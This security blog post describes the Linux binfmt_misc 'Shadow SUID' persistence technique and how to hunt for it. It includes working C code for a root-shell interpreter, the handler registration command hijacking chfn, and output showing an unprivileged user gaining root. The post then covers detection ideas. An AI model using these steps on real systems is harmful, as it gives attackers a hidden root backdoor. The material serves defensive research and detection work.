Introduction
binfmt_misc (short for Binary Format Miscellaneous) is a Linux kernel feature that allows the system to recognize and execute files based on custom binary formats. It’s part of the Binary Format (binfmt) subsystem, which determines how the kernel runs an executable file.
Normally, Linux only knows how to run native binaries (like ELF files compiled for the system’s CPU architecture, and a few other file types). binfmt_misc extends this by allowing other kinds of files, scripts, binaries for other architectures, or even custom file types, to be executed as if they were native.
When you enable binfmt_misc, the kernel adds a virtual filesystem (usually mounted at /proc/sys/fs/binfmt_misc/). Within this filesystem, you can register new binary format ha…
Introduction
binfmt_misc (short for Binary Format Miscellaneous) is a Linux kernel feature that allows the system to recognize and execute files based on custom binary formats. It’s part of the Binary Format (binfmt) subsystem, which determines how the kernel runs an executable file.
Normally, Linux only knows how to run native binaries (like ELF files compiled for the system’s CPU architecture, and a few other file types). binfmt_misc extends this by allowing other kinds of files, scripts, binaries for other architectures, or even custom file types, to be executed as if they were native.
When you enable binfmt_misc, the kernel adds a virtual filesystem (usually mounted at /proc/sys/fs/binfmt_misc/). Within this filesystem, you can register new binary format handlers. Each handler tells the kernel:
- How to recognize a file (e.g., by its magic bytes or filename extension)
- What interpreter or emulator to use to run it
- When a matching file is executed, the kernel automatically invokes the specified interpreter with the file as its argument.
binfmt_misc is managed from /proc/sys/fs/binfmt_misc. There are two files in that folder by default, register and status. To actually register a new binary type, you have to construct a string looking like
:name:type:offset:magic:mask:interpreter:flags
(where you can choose the : upon your needs) and echo it to /proc/sys/fs/binfmt_misc/register. The binfmt-misc man page goes into details about the various flags.
Why care?
TL;DR: binfmt_misc provides a nifty way (once the attacker has gained root rights on the machine) to create a little backdoor to regain root access when the original access no longer works. This mechanism is not really known, according to blog posts and articles on the topic, which makes it a perfect fit for staying under the radar.
In 2019, SentinelOne published a two-part analysis describing a persistence technique called Shadow SUID (Part 1, Part 2): Shadow SUID is the same as a regular suid file, only it doesn’t have the setuid bit, which makes it very hard to find or notice. The way shadow SUID works is by inheriting the setuid bit from an existing setuid binary using the binfmt_misc mechanism, which is part of the Linux kernel.
Interestingly, this technique seems to have fallen into oblivion again, as neither MITRE ATT&CK nor the five-part Elastic Security “Linux Persistence Detection Engineering” series mentioned it (the last part here with links to all other parts). As of 2025, however, the technique works wonderfully and would probably be very difficult to detect (see the hunting section later).
Setting up our backdoor
A binfmt_misc rule is registered with the C (credentials) flag. That flag changes the normal behavior: instead of using the interpreter’s rights, the kernel looks up the access rights from the original file being executed. If that original file is setuid-root, the interpreter runs as root. (C also implies O, the “open fd for unreadable files” flag.)
In the demo from SentinelOne, they register a binfmt_misc rule that matches a chosen SUID binary’s first 128 bytes (e.g., ping). Then, when you “run ping”, the kernel dispatches to the attacker’s interpreter but with ping’s setuid credentials, so the interpreter is effectively root. That’s why it looks like the “script” or binary (aka the interpreter) is being interpreted as SUID. Let that sink in.. It took me a few readings to grasp that concept. But it works, as we will see below!
First, we check if binfmt_misc is mounted:
# mount | grep binfmt_misc
binfmt_misc on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,nosuid,nodev,noexec,relatime)
For setting up my interpreter, I’m following 0xdf’s writeup for the HTB machine Retired closely:
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 0;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
}
Compile the interpreter with gcc -o malmoeb malmoeb.c. Next, we need to find a suitable SUID binary:
root@binfmt_misc:/dev/shm# find / -perm -4000 2>/dev/null
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chfn
[..]
Wait, chfn? The chfn binary on Linux is a legacy command-line tool used to change a user’s “finger” information. Details like their full name, office number, or phone numbers are stored in the GECOS field of /etc/passwd. Although rarely used today, it remains installed by default because it’s part of the standard shadow or util-linux package, which provides core user management utilities such as passwd and chsh. Keeping chfn ensures backward compatibility with older scripts and systems that still rely on traditional Unix account management tools, even though most modern environments no longer use the finger service or its associated data.
SentinelOne, in their demo, uses the ping utility, but that approach has the drawback of breaking the command’s normal functionality. However, they also published some clever workarounds, though those are more complex. By using a legacy command like chfn, this extra step should most likely be unnecessary (since nobody hardly uses that command anymore).
Here we extract the magic bytes from chfn (in hex) to create a new handler.
cat /usr/bin/chfn | xxd -p | head -1 | sed 's/\(..\)/\\x\1/g'
\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x00\x72\x00\x00\x00\x00
We assemble the required string and echo this string (as root) into /proc/sys/fs/binfmt_misc/register:
echo ':malmoeb:M::\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x00\x72\x00\x00\x00\x00::/dev/shm/malmoeb:C' > /proc/sys/fs/binfmt_misc/register
That breaks down to (again, thanks to 0xdf):
- name - malmoeb (arbitrary)
- using magic bytes
- no offset
- signature that matches the first 30 bytes of chfn
- no mask
- interpreter of /dev/shm/malmoeb
- C flag
malmoeb was successfully created as a new handler. Pointing to our interpreter:
root@binfmt_misc://proc/sys/fs/binfmt_misc# cat malmoeb
enabled
interpreter /dev/shm/malmoeb
flags: OC
offset 0
magic 7f454c4602010100000000000000000003003e0001000000007200000000
No, when we execute chfn..
malmoeb@binfmt_misc:~$ id
uid=1000(malmoeb) gid=1000(malmoeb) groups=1000(malmoeb)
malmoeb@binfmt_misc:~$ chfn
root@binfmt_misc:/home/malmoeb#
Holy cow - this is really working! As an unprivileged user, all I have to type is chfn to get a root shell!
Hunting
The SUID searches (typically used for hunting) will not flag our interpreter binary, as we have not set SUID rights on this file. One technique would be to specifically check the registered handlers:
$ ls -la /proc/sys/fs/binfmt_misc
Or monitor /proc/sys/fs/binfmt_misc/ for new or changed handlers; alert on any registration events. Next one would alert on handlers whose interpreter path points to writable or ephemeral locations (e.g., /tmp, /dev/shm, user home directories.., however, this might not be a strong detection, because you already need root rights to install this mechanism. So you could create an executable wherever you want on the system).
The good thing is - our registered handler will only be temporary, which means when the system reboots, our handler will be gone. If an attacker wants to maintain long-term access via this technique, they must set up yet another mechanism to reinstall the handler / interpreter, giving us another chance to catch them.
Let’s ask an expert
So, I asked a true expert in that field, Ruben Groenewoud, Senior Security Research Engineer at Elastic, for his thoughts on this, especially regarding detection.
As the steps for execution rely mostly on using built-in shell tools, the /proc filesystem, and hijacking the execution flow, there are very limited traces to catch.. The most interesting part to note here with the execution chain, is that chfn is never even executed; its a proxy execution.

Figure 1: Proxy execution
So rules that I created such as https://github.com/elastic/detection-rules/blob/main/rules/linux/privilege_escalation_potential_suid_sgid_exploitation.toml will not trigger, because chfn is never executed on its own.
From the attack chain point of view, 2 steps that were flagged by my rules are the execution of a hex payload (as you grabbed the memory using xxd -p) and SUID/SGUID enumeration, but these two are not necessary in an adversary point of view.
Very interesting! And true - SUID/SGUID enumeration and the xxd -p command are not strictly necessary to be executed on our target host. Ruben will look more into this technique, and I’m sure he will come up with some cool detections :)
Further reading
Using Go as a Scripting Language in Linux from Cloudflare explains how Go, normally a compiled language, can be used like a scripting language on Linux systems. The article describes using Linux’s binfmt_misc feature to register Go source files as executable. By creating a small wrapper (such as a gorun command) and associating it with Go files, users can make .go scripts executable and run them directly, just like shell scripts.
On BINFMT_MISC by Benjamin Toll explains how the Linux feature binfmt_misc allows the operating system to treat arbitrary file types as executable. When a file is run, the kernel can automatically pass it to a specified interpreter based on its format or magic number, not just its extension.